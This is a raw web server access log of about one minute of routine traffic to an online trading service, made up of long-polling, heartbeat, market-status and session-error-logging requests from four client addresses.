[09/Jan/2026:13:45:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:45:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937793833 HTTP/1.1" -
[09/Jan/2026:13:45:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:45:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:45:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937787289 HTTP/1.1" -
[09/Jan/2026:13:45:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937789293 HTTP/1.1" -
[09/Jan/2026:13:45:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:45:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937807799 HTTP/1.1" -
[09/Jan/2026:13:45:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:45:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937798864 HTTP/1.1" -
[09/Jan/2026:13:45:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937792351 HTTP/1.1" -
[09/Jan/2026:13:45:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937794425 HTTP/1.1" -
[09/Jan/2026:13:45:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937812823 HTTP/1.1" -
[09/Jan/2026:13:45:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937803931 HTTP/1.1" -
[09/Jan/2026:13:45:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937797387 HTTP/1.1" -
[09/Jan/2026:13:45:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937799557 HTTP/1.1" -
[09/Jan/2026:13:45:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:45:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:45:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937817849 HTTP/1.1" -
[09/Jan/2026:13:45:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937809030 HTTP/1.1" -
[09/Jan/2026:13:45:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937802452 HTTP/1.1" -
[09/Jan/2026:13:45:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937804791 HTTP/1.1" -
[09/Jan/2026:13:45:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937822879 HTTP/1.1" -
[09/Jan/2026:13:45:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937814107 HTTP/1.1" -
[09/Jan/2026:13:45:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937807514 HTTP/1.1" -
[09/Jan/2026:13:45:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937809850 HTTP/1.1" -
[09/Jan/2026:13:45:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937827945 HTTP/1.1" -
[09/Jan/2026:13:45:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937819200 HTTP/1.1" -
[09/Jan/2026:13:45:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937812606 HTTP/1.1" -
[09/Jan/2026:13:45:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937814898 HTTP/1.1" -
[09/Jan/2026:13:45:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:45:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:45:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937832997 HTTP/1.1" -
[09/Jan/2026:13:45:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:45:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:45:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937824310 HTTP/1.1" -
[09/Jan/2026:13:45:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937817709 HTTP/1.1" -
[09/Jan/2026:13:45:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937820056 HTTP/1.1" -
[09/Jan/2026:13:45:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:45:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937838016 HTTP/1.1" -
[09/Jan/2026:13:45:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:45:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937829344 HTTP/1.1" -
[09/Jan/2026:13:45:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937822785 HTTP/1.1" -
[09/Jan/2026:13:45:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937825186 HTTP/1.1" -
[09/Jan/2026:13:45:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937843042 HTTP/1.1" -
[09/Jan/2026:13:45:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937834435 HTTP/1.1" -
[09/Jan/2026:13:46:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937827817 HTTP/1.1" -
[09/Jan/2026:13:46:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937830336 HTTP/1.1" -
[09/Jan/2026:13:46:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:46:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:46:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937848070 HTTP/1.1" -
[09/Jan/2026:13:46:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937839519 HTTP/1.1" -
[09/Jan/2026:13:46:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937832877 HTTP/1.1" -
[09/Jan/2026:13:46:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937835478 HTTP/1.1" -
[09/Jan/2026:13:46:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937853141 HTTP/1.1" -
[09/Jan/2026:13:46:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937844635 HTTP/1.1" -
[09/Jan/2026:13:46:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937837963 HTTP/1.1" -
[09/Jan/2026:13:46:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937840592 HTTP/1.1" -
[09/Jan/2026:13:46:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937858217 HTTP/1.1" -
[09/Jan/2026:13:46:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937849719 HTTP/1.1" -
[09/Jan/2026:13:46:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937843037 HTTP/1.1" -
[09/Jan/2026:13:46:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937845655 HTTP/1.1" -
[09/Jan/2026:13:46:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:46:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:46:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937863286 HTTP/1.1" -
[09/Jan/2026:13:46:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:46:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:46:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937854820 HTTP/1.1" -
[09/Jan/2026:13:46:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937848129 HTTP/1.1" -
[09/Jan/2026:13:46:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937850790 HTTP/1.1" -
[09/Jan/2026:13:46:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:46:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:46:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937868313 HTTP/1.1" -
[09/Jan/2026:13:46:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937859853 HTTP/1.1" -
[09/Jan/2026:13:46:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937853192 HTTP/1.1" -
